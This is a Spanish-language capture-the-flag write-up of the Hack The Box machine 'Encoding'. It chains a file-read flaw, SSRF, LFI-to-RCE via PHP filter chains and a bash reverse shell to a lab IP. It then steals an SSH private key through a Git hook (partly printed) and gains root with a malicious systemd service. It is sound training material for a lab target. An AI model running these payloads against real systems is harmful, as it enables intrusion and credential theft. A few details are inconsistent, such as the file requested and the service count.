Descripción
Encoding es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Aplicación web vulnerable a la vulnerabilidad de lectura de archivos
- Descubrimiento de otra aplicación vulnerable a la vulnerabilidad de inclusión de archivos locales
- Pivote de usuario mediante el uso de un hook de Git malicioso ejecutado después de un commit
- Escalada de privilegios mediante la creación de un servicio Systemd malicioso
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.198.
$ ping -c 3 10.10.11.198
PING 10.10.11.198 (10.10.11.198) 56(84) bytes of data.
64 bytes from 10.10.11.198: icmp_seq=1 ttl=63 time=44.2 ms
64 bytes from 10.10.11.198: icmp_seq=2 ttl=63 time=43.5 ms
64 bytes from 10.10.11.198: icmp_seq=3 ttl=63 time=43.3 ms
--- 10.10.11.198 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.286/43.673/44.201/0.386 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.198 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.198
Host is up (0.049s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds
Obtenemos dos puertos abiertos: 22, y 80.
Enumeración
Luego hacemos un escaneo más avanzado, con versión del servicio y scripts.
$ nmap 10.10.11.198 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.198
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: HaxTables
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.29 seconds
Obtenemos tres servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio encoding.htb al archivo /etc/hosts.
$ echo '10.10.11.198 encoding.htb' | sudo tee -a /etc/hosts
En la página web encontramos HaxTables, una aplicación para conversiones de cadena, entero e imagen.
Para la conversión de cadena podemos decodificar Base64, para la conversión de entero podemos convertir Hexadecimal a Decimal, y para la conversión de imagen no hay funcionalidad aún. También tenemos una opción en el menú, API, con documentación sobre la API. El dominio de la API es api.haxtables.htb, así que lo añadimos al archivo /etc/hosts.
$ echo '10.10.11.198 api.haxtables.htb' | sudo tee -a /etc/hosts
En los ejemplos de la API encontramos uno interesante, que es tomar datos de una URL, en el ejemplo http://example.com/data.txt, para el punto final /v3/tools/string/index.php.
import requests
json_data = {
'action': 'str2hex',
'file_url' : 'http://example.com/data.txt'
}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data)
print(response.text)
Explotación
Vamos a comprobar una vulnerabilidad de lectura de archivos cambiando la file_url de http:// a file:// protocolo para obtener un archivo de la máquina que sabemos que existe, por ejemplo /etc/passwd. La aplicación responde con una cadena JSON con la clave data codificada en hexadecimal, por lo que la decodificamos.
$ python
...
>>> import requests
>>> json_data = {'action': 'str2hex','file_url' : 'file:///bin/bash'}
>>> response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data).json()
>>> print(bytes.fromhex(response['data']).decode())
root:x:0:0:root:/root:/bin/bash
...
svc:x:1000:1000:svc:/home/svc:/bin/bash
La vulnerabilidad de lectura de archivos está funcionando y estamos obteniendo dos usuarios de la terminal: root y svc. Como sabemos que el servidor web está utilizando un Apache HTTP, vamos a enumerar el contenido del archivo /etc/apache2/sites-enabled/000-default.conf.
<VirtualHost *:80>
ServerName haxtables.htb
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName api.haxtables.htb
ServerAdmin webmaster@localhost
DocumentRoot /var/www/api
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName image.haxtables.htb
ServerAdmin webmaster@localhost
DocumentRoot /var/www/image
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
#SecRuleEngine On
<LocationMatch />
SecAction initcol:ip=%{REMOTE_ADDR},pass,nolog,id:'200001'
SecAction "phase:5,deprecatevar:ip.somepathcounter=1/1,pass,nolog,id:'200002'"
SecRule IP:SOMEPATHCOUNTER "@gt 5" "phase:2,pause:300,deny,status:509,setenv:RATELIMITED,skip:1,nolog,id:'200003'"
SecAction "phase:2,pass,setvar:ip.somepathcounter=+1,nolog,id:'200004'"
Header always set Retry-After "10" env=RATELIMITED
</LocationMatch>
ErrorDocument 429 "Rate Limit Exceeded"
<Directory /var/www/image>
Deny from all
Allow from 127.0.0.1
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</DIrectory>
</VirtualHost>
Encontramos el subdominio previamente descubierto haxtables.htb y api.haxtables.htb, pero encontramos uno nuevo image.haxtables.htb, lo añadimos al archivo /etc/hosts.
$ echo '10.10.11.198 image.haxtables.htb' | sudo tee -a /etc/hosts
En su configuración encontramos que la web solo es accesible desde la máquina remota, localhost. La página web se guarda en el directorio /var/www/image, comprobemos su archivo index.php:
<?php
include_once 'utils.php';
include 'includes/coming_soon.html';
?>
Está importando el archivo utils.php:
<?php
// Global functions
function jsonify($body, $code = null)
{
if ($code) {
http_response_code($code);
}
header('Content-Type: application/json; charset=utf-8');
echo json_encode($body);
exit;
}
function get_url_content($url)
{
$domain = parse_url($url, PHP_URL_HOST);
if (gethostbyname($domain) === "127.0.0.1") {
echo jsonify(["message" => "Unacceptable URL"]);
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$url_content = curl_exec($ch);
curl_close($ch);
return $url_content;
}
function git_status()
{
$status = shell_exec('cd /var/www/image && /usr/bin/git status');
return $status;
}
function git_log($file)
{
$log = shell_exec('cd /var/www/image && /ust/bin/git log --oneline "' . addslashes($file) . '"');
return $log;
}
function git_commit()
{
$commit = shell_exec('sudo -u svc /var/www/image/scripts/git-commit.sh');
return $commit;
}
?>
Encontramos algunas funciones referentes a un repositorio Git ubicado en esa carpeta y las funcionalidades status y log. Para crear un commit se está ejecutando el script /var/www/image/scripts/git-commit.sh como el usuario svc.
#!/bin/bash
u=$(/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image ls-files -o --exclude-standard)
if [[ $u ]]; then
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image add -A
else
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/var/www/image commit -m "Commited from API!" --author="james <james@haxtables.htb>" --no-verify
fi
Encontramos que el commit se crea con el usuario james. Vamos a volcar el contenido de la carpeta .git. Podríamos usar una herramienta como git-dumper, pero necesitamos codificar un proxy ya que los archivos no se recuperan directamente desde la web. Vamos a utilizar un proxy en Python Flask:
from flask import *
import requests
app = Flask(__name__)
@app.route('/<path:file>')
def download_file(file):
json_data = {'action': 'str2hex','file_url' : 'file:///' + file}
response = requests.post('http://api.haxtables.htb/v3/tools/string/index.php', json=json_data).json()
return Response(bytes.fromhex(response['data']), content_type='application/octet-stream')
if __name__ == '__main__':
app.run()
Ejecutamos entonces el proxy en el puerto 5000. Probamos y funciona como se esperaba.
$ python proxy.py
* Serving Flask app 'proxy'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on http://127.0.0.1:5000
$ curl http://127.0.0.1:5000/etc/passwd
root:x:0:0:root:/root:/bin/bash
...
Instalamos la herramienta git-dumper y luego extraemos el repositorio Git.
$ virtualenv .env
$ . .env/bin/activate
$ pip install git-dumper
$ git-dumper http://127.0.0.1:5000/var/www/image/ image_repo
...
[-] Running git checkout .
$ cd image_repo
$ ls
actions assets includes index.php scripts utils.php
Encontramos una vulnerabilidad de inclusión de archivos locales en el actions/action_handler.php ya que está incluyendo en la página cualquier archivo pasado con el parámetro page.
$ cat actions/action_handler.php
<?php
include_once 'utils.php';
if (isset($_GET['page'])) {
$page = $_GET['page'];
include($page);
} else {
echo jsonify(['message' => 'No page specified!']);
}
?>
Volviendo a la aplicación principal, cuando una cadena se convierte, se llama el archivo handler.php. Vamos a recuperar su contenido.
$ curl http://127.0.0.1:5000/var/www/html/handler.php
<?php
include_once '../api/utils.php';
Está incluyendo el utils.php de la API.
...
function make_api_call($action, $data, $uri_path, $is_file = false){
if ($is_file) {
$post = [
'data' => file_get_contents($data),
'action' => $action,
'uri_path' => $uri_path
];
} else {
$post = [
'data' => $data,
'action' => $action,
'uri_path' => $uri_path
];
}
$ch = curl_init();
$url = 'http://api.haxtables.htb' . $uri_path . '/index.php';
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post));
curl_setopt( $ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
?>
...
En la función make_api_call el parámetro uri_path se pasa sin analizar, lo que significa que la ruta de la API puede ser modificada por el usuario solicitante. Está construyendo la URL a consultar como $url = 'http://api.haxtables.htb' . $uri_path . '/index.php'. El nombre de dominio de la API no tiene el final /. Como el atacante controla la variable uri_path, esto lleva a una vulnerabilidad de Server Side Request Forgery, lo que significa que podemos acceder a los servicios del subdominio image. Necesitamos entrar al dominio con un carácter @ al inicio, para ignorar los caracteres previos y controlar el dominio al que queremos hacer la solicitud. Por ejemplo, @image.haxtables.htb será interpretado como api.haxtables.htb@image.haxtables.htb.
$ python
...
>>> import requests
>>> json_data = {'action': 'str2hex','data': 'string', 'uri_path' : '@image.haxtables.htb'}
>>> response = requests.post('http://encoding.htb/handler.php', json=json_data)
>>> print(response.text)
...
<body>
<div class="bgimg">
<div class="middle">
<h1>COMING SOON</h1>
<hr>
<p>35 days left</p>
</div>
</div>
</body>
...
Obtuvimos el contenido del index.php del subdominio image. Está solicitando el archivo index.php porque fue adjuntado en el código. Ignoraremos la cadena colocando un carácter # al final. Ahora podemos utilizar el endpoint action_handler.php para explotar la vulnerabilidad de Inclusión de Archivos Locales. Recuperamos el archivo /etc/passwd.
$ python
...
>>> import requests
>>> json_data = {'action': 'str2hex','data': 'string', 'uri_path' : '@image.haxtables.htb/actions/action_handler.php?page=/etc/passwd#'}
>>> response = requests.post('http://encoding.htb/handler.php', json=json_data)
>>> print(response.text)
root:x:0:0:root:/root:/bin/bash
...
Podemos convertir la vulnerabilidad de Inclusión de Archivos Locales en una de Ejecución de Código Remoto utilizando una técnica llamada Inyección de Cadena de Filtros PHP. Podemos generar este filtro utilizando el php_filter_chain_generator desarrollado por synacktiv. Vamos a desplegar una terminal inversa, por lo tanto, antes de enviar el comando, abriremos un puerto TCP en escucha con nc -nvlp 1234.
$ git clone https://github.com/synacktiv/php_filter_chain_generator
$ cd php_filter_chain_generator
$ python php_filter_chain_generator.py --chain "<?php system(\"bash -c 'bash -i >& /dev/tcp/10.10.14.16/1234 0>&1'\"); ?>"
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP9...decode/resource=php://temp
Obtenemos una cadena muy larga que utilizaremos como el parámetro page.
$ python
...
>>> import requests
>>> json_data = {'action': 'str2hex','data': 'string', 'uri_path' : '@image.haxtables.htb/actions/action_handler.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP9...decode/resource=php://temp#'}
>>> response = requests.post('http://encoding.htb/handler.php', json=json_data)
...
Recibimos la terminal inversa como el usuario www-data, actualizamos la terminal.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.198] 52914
bash: cannot set terminal process group (805): Inappropriate ioctl for device
bash: no job control in this shell
www-data@encoding:~/image/actions$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
sh: 0: getcwd() failed: No such file or directory
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
www-data@encoding:$ ^Z
...
www-data@encoding:$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
Encontramos que www-data puede ejecutar un comando como el usuario svc, git-commit.sh.
www-data@encoding:$ sudo -l
Matching Defaults entries for www-data on encoding:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User www-data may run the following commands on encoding:
(svc) NOPASSWD: /var/www/image/scripts/git-commit.sh
Ese es el archivo que revisamos previamente. Podemos usar los Git hooks para ejecutar un comando como el usuario svc y luego recuperar su clave SSH privada. Ejecutaremos el hook después de un commit exitoso.
www-data@encoding:~$ bash -i
www-data@encoding:~$ echo -e '#!/bin/bash\ncat /home/svc/.ssh/id_rsa > /tmp/privatekey' > /var/www/image/.git/hooks/post-commit
www-data@encoding:~$ chmod +x /var/www/image/.git/hooks/post-commit
www-data@encoding:~$ cd /var/www/image/
www-data@encoding:~$ git --work-tree=/ add /etc/hostname
www-data@encoding:~$ sudo -u svc /var/www/image/scripts/git-commit.sh
[master 0f71de9] Commited from API!
1 file changed, 1 insertion(+)
create mode 100644 etc/hostname
$ cat /tmp/privatekey
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAlnPbNrAswX0YLnW3sx1l7WN42hTFVwWISqdx5RUmVmXbdVgDXdzH
...
Obtenemos la clave privada SSH. Nos conectamos usando SSH.
$ ssh -i id_rsa svc@encoding.htb
...
svc@encoding:~$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)
svc@encoding:~$ sudo -l
Matching Defaults entries for svc on encoding:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on encoding:
(root) NOPASSWD: /usr/bin/systemctl restart *
Encontramos que el usuario svc solo puede ejecutar un comando como el usuario root, systemctl restart *. Con el comando getfacl encontramos que el svc es capaz de escribir archivos en el directorio /etc/systemd/system/.
svc@encoding:~$ getfacl /etc/systemd/system/
getfacl: Removing leading '/' from absolute path names
# file: etc/systemd/system/
# owner: root
# group: root
user::rwx
user:svc:-wx
group::rwx
mask::rwx
other::r-x
Vamos a utilizar esto para crear un nuevo servicio, y luego cuando el servicio se reinicie, se ejecutará el comando que especifiquemos. Finalmente obtenemos la terminal root.
svc@encoding:~$ echo -e '#!/bin/bash\ncp /bin/bash /tmp/suid-bash\nchmod u+s /tmp/suid-bash' > /tmp/suidbash.sh
svc@encoding:~$ chmod +x /tmp/suidbash.sh
svc@encoding:~$ cat<<EOF>/etc/systemd/system/malicious.service
[Unit]
Description=Malicious Service
[Service]
ExecStart=/tmp/suidbash.sh
[Install]
WantedBy=default.target
EOF
svc@encoding:~$ sudo systemctl restart malicious.service
svc@encoding:~$ /tmp/suid-bash -p
suid-bash-5.1# id
uid=1000(svc) gid=1000(svc) euid=0(root) groups=1000(svc)
Flags
En la terminal root podemos recuperar los archivos user.txt y root.txt.
suid-bash-5.1# cat /home/svc/user.txt
<REDACTED>
suid-bash-5.1# cat /root/root.txt
<REDACTED>